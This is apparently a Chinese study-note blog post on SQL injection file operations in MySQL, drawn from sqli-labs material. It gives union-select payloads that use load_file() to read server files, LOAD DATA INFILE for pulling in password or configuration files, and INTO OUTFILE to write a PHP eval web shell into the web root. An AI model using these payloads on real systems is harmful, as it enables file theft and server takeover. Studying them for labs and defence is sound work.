Background-3 导入导出相关操作基础知识

文章目录

  • 一、导入导出的相关操作
    • 一.load_file()导出文件
      • 1.**使用条件:**
      • 2.实际注入中的两个难点
      • 3.mysql注入load_file()常用路径
    • 二、文件导入数据库
    • 三、导入到文件
      • 1.第一种直接将 select 内容导入到文件中:
      • 2.**第二种修改文件结尾**
  • 总结

一、导入导出的相关操作

一.load_file()导出文件

Load_file(file_name):读取文件返回该文件的内容作为一个字符串

1.使用条件:

A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常
,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误
,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
Mysql 注入---sqlilabs---lcamry
30
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。
比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取
相关的文件的,当遇到只有administrators 才能访问的文件
,users 就别想 load_file 出来。

2.实际注入中的两个难点

  1. 绝对物理路径

    构造有效的畸形语句 (报错爆出绝对路径)
    在很多 PHP 程序中,当提交一个错误的 Query
    ,如果 display_errors = on(本语法开启错误提示),程序就会暴露
    WEB 目录的绝对路径,只要知道路径,那么对于一个
    可以注入的 PHP 程序来说,整个服务
    器的安全将受到严重的威胁
    

3.mysql注入load_file()常用路径

Background-3 导入导出相关操作基础知识_第1张图片
Background-3 导入导出相关操作基础知识_第2张图片
Background-3 导入导出相关操作基础知识_第3张图片
举例:

select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,
105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))

利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116
,46,105,110,105))

Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

-1 union select 1,1,1,load_file(c:\\boot.ini)

Explain:路径里的/用 \代替

二、文件导入数据库

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。

Background-3 导入导出相关操作基础知识_第4张图片
在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据
库的权限时,可以将系统文件利用 load data infile 导入到数据库中。

示例

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t'
lines terminated by '\n'
将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是
每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑
/tmp 等文件夹。

三、导入到文件

SELECT…INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE
权限
,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:

1.第一种直接将 select 内容导入到文件中:

Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

此处将 version()替换成一句话,

<?php @eval($_post[“mima”])?>也即
Select <?php @eval($_post[“mima”])?> into outfile
 “c:\\phpnow\\htdocs\\test.php”

直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容

2.第二种修改文件结尾

Select version() Into outfile “c:\\phpnow\\htdocs\\
test.php” LINES TERMINATED BY 0x16 进制文件

解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED B
16 进制可以为一句话或者其他任何的代码,可自行构造。

Background-3 导入导出相关操作基础知识_第5张图片

总结

一切以心灵自由为主体,用审美的态度度过人生。

你可能感兴趣的:(SQL注入专题,web安全,sql)